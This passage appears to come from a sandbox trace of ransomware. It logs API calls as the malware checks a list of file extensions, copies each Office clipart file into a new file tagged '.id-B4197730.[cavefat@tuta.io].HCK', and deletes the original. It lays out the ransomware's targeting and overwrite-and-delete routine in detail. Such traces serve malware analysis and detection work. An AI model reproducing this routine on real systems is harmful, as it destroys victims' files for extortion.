Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0161.489] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf")) returned 1 [0161.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0161.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0161.546] lstrlenW (lpString=".doc") returned 4 [0161.553] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.553] lstrlenW (lpString=".docx") returned 5 [0161.553] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.553] lstrlenW (lpString=".pdf") returned 4 [0161.554] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.554] lstrlenW (lpString=".xls") returned 4 [0161.560] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.560] lstrlenW (lpString=".xlsx") returned 5 [0161.560] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.560] lstrlenW (lpString=".ppt") returned 4 [0161.560] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0161.567] lstrlenW (lpString=".zip") returned 4 [0161.567] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.567] lstrlenW (lpString=".rar") returned 4 [0161.567] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.567] lstrlenW (lpString=".bz2") returned 4 [0161.567] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.572] lstrlenW (lpString=".7z") returned 3 [0161.572] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0161.572] lstrlenW (lpString=".dbf") returned 4 [0161.572] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0161.572] lstrlenW (lpString=".1cd") returned 4 [0161.572] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0161.572] lstrlenW (lpString=".jpg") returned 4 [0161.572] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0161.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0161.573] lstrlenW (lpString=".doc") returned 4 [0161.573] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.573] lstrlenW (lpString=".docx") returned 5 [0161.573] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.573] lstrlenW (lpString=".pdf") returned 4 [0161.573] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.573] lstrlenW (lpString=".xls") returned 4 [0161.573] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.573] lstrlenW (lpString=".xlsx") returned 5 [0161.573] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.573] lstrlenW (lpString=".ppt") returned 4 [0161.573] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0161.573] lstrlenW (lpString=".zip") returned 4 [0161.573] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.573] lstrlenW (lpString=".rar") returned 4 [0161.573] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.573] lstrlenW (lpString=".bz2") returned 4 [0161.573] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.573] lstrlenW (lpString=".7z") returned 3 [0161.573] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0161.573] lstrlenW (lpString=".dbf") returned 4 [0161.573] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0161.573] lstrlenW (lpString=".1cd") returned 4 [0161.573] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0161.573] lstrlenW (lpString=".jpg") returned 4 [0161.573] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.573] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0161.573] lstrlenW (lpString="HH01015_.WMF") returned 12 [0161.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.574] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=1148) returned 1 [0161.574] CloseHandle (hObject=0x308) returned 1 [0161.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf")) returned 0x220 [0161.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0161.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.574] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.574] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0161.575] GetLastError () returned 0x0 [0161.575] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x47c, lpOverlapped=0x0) returned 1 [0161.576] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x480, lpOverlapped=0x0) returned 1 [0161.577] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.577] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0161.577] SetEndOfFile (hFile=0x380) returned 1 [0161.577] CloseHandle (hObject=0x380) returned 1 [0161.578] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.578] SetEndOfFile (hFile=0x308) returned 1 [0161.578] CloseHandle (hObject=0x308) returned 1 [0161.578] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0161.578] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf")) returned 1 [0161.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0161.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0161.579] lstrlenW (lpString=".doc") returned 4 [0161.579] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.579] lstrlenW (lpString=".docx") returned 5 [0161.579] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.579] lstrlenW (lpString=".pdf") returned 4 [0161.579] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.579] lstrlenW (lpString=".xls") returned 4 [0161.579] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.579] lstrlenW (lpString=".xlsx") returned 5 [0161.579] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.579] lstrlenW (lpString=".ppt") returned 4 [0161.579] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0161.579] lstrlenW (lpString=".zip") returned 4 [0161.579] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.579] lstrlenW (lpString=".rar") returned 4 [0161.579] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.579] lstrlenW (lpString=".bz2") returned 4 [0161.579] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.579] lstrlenW (lpString=".7z") returned 3 [0161.579] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0161.579] lstrlenW (lpString=".dbf") returned 4 [0161.579] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0161.579] lstrlenW (lpString=".1cd") returned 4 [0161.579] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0161.579] lstrlenW (lpString=".jpg") returned 4 [0161.579] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0161.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0161.579] lstrlenW (lpString=".doc") returned 4 [0161.580] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.580] lstrlenW (lpString=".docx") returned 5 [0161.580] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.580] lstrlenW (lpString=".pdf") returned 4 [0161.580] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.580] lstrlenW (lpString=".xls") returned 4 [0161.580] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.580] lstrlenW (lpString=".xlsx") returned 5 [0161.580] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.580] lstrlenW (lpString=".ppt") returned 4 [0161.580] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0161.580] lstrlenW (lpString=".zip") returned 4 [0161.580] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.580] lstrlenW (lpString=".rar") returned 4 [0161.580] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.580] lstrlenW (lpString=".bz2") returned 4 [0161.580] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.580] lstrlenW (lpString=".7z") returned 3 [0161.580] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0161.580] lstrlenW (lpString=".dbf") returned 4 [0161.580] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0161.580] lstrlenW (lpString=".1cd") returned 4 [0161.580] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0161.580] lstrlenW (lpString=".jpg") returned 4 [0161.580] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.580] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0161.580] lstrlenW (lpString="HH01058_.WMF") returned 12 [0161.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.581] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=2756) returned 1 [0161.581] CloseHandle (hObject=0x308) returned 1 [0161.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf")) returned 0x220 [0161.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0161.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.581] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.581] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0161.582] GetLastError () returned 0x0 [0161.582] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xac4, lpOverlapped=0x0) returned 1 [0161.583] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xad0, lpOverlapped=0x0) returned 1 [0161.583] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.584] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0161.584] SetEndOfFile (hFile=0x380) returned 1 [0161.584] CloseHandle (hObject=0x380) returned 1 [0161.584] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.584] SetEndOfFile (hFile=0x308) returned 1 [0161.585] CloseHandle (hObject=0x308) returned 1 [0161.585] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0161.585] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf")) returned 1 [0161.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0161.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0161.586] lstrlenW (lpString=".doc") returned 4 [0161.586] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.586] lstrlenW (lpString=".docx") returned 5 [0161.586] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.586] lstrlenW (lpString=".pdf") returned 4 [0161.586] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.586] lstrlenW (lpString=".xls") returned 4 [0161.586] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.586] lstrlenW (lpString=".xlsx") returned 5 [0161.586] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.586] lstrlenW (lpString=".ppt") returned 4 [0161.586] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0161.586] lstrlenW (lpString=".zip") returned 4 [0161.586] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.586] lstrlenW (lpString=".rar") returned 4 [0161.586] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.586] lstrlenW (lpString=".bz2") returned 4 [0161.586] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.586] lstrlenW (lpString=".7z") returned 3 [0161.586] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0161.586] lstrlenW (lpString=".dbf") returned 4 [0161.586] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0161.586] lstrlenW (lpString=".1cd") returned 4 [0161.586] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0161.586] lstrlenW (lpString=".jpg") returned 4 [0161.586] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0161.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0161.586] lstrlenW (lpString=".doc") returned 4 [0161.586] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.586] lstrlenW (lpString=".docx") returned 5 [0161.586] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.586] lstrlenW (lpString=".pdf") returned 4 [0161.587] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.587] lstrlenW (lpString=".xls") returned 4 [0161.587] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.587] lstrlenW (lpString=".xlsx") returned 5 [0161.587] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.587] lstrlenW (lpString=".ppt") returned 4 [0161.587] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0161.587] lstrlenW (lpString=".zip") returned 4 [0161.587] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.587] lstrlenW (lpString=".rar") returned 4 [0161.587] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.587] lstrlenW (lpString=".bz2") returned 4 [0161.587] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.587] lstrlenW (lpString=".7z") returned 3 [0161.587] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0161.587] lstrlenW (lpString=".dbf") returned 4 [0161.587] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0161.587] lstrlenW (lpString=".1cd") returned 4 [0161.587] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0161.587] lstrlenW (lpString=".jpg") returned 4 [0161.587] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.587] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0161.587] lstrlenW (lpString="HH01065_.WMF") returned 12 [0161.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.587] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=1268) returned 1 [0161.587] CloseHandle (hObject=0x308) returned 1 [0161.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf")) returned 0x220 [0161.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0161.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.588] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.588] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0161.588] GetLastError () returned 0x0 [0161.588] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x4f4, lpOverlapped=0x0) returned 1 [0161.590] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x500, lpOverlapped=0x0) returned 1 [0161.591] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.591] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0161.591] SetEndOfFile (hFile=0x380) returned 1 [0161.591] CloseHandle (hObject=0x380) returned 1 [0161.593] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.593] SetEndOfFile (hFile=0x308) returned 1 [0161.594] CloseHandle (hObject=0x308) returned 1 [0161.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0161.594] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf")) returned 1 [0161.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0161.595] lstrlenW (lpString="C:\\Program Files\\Microsoft 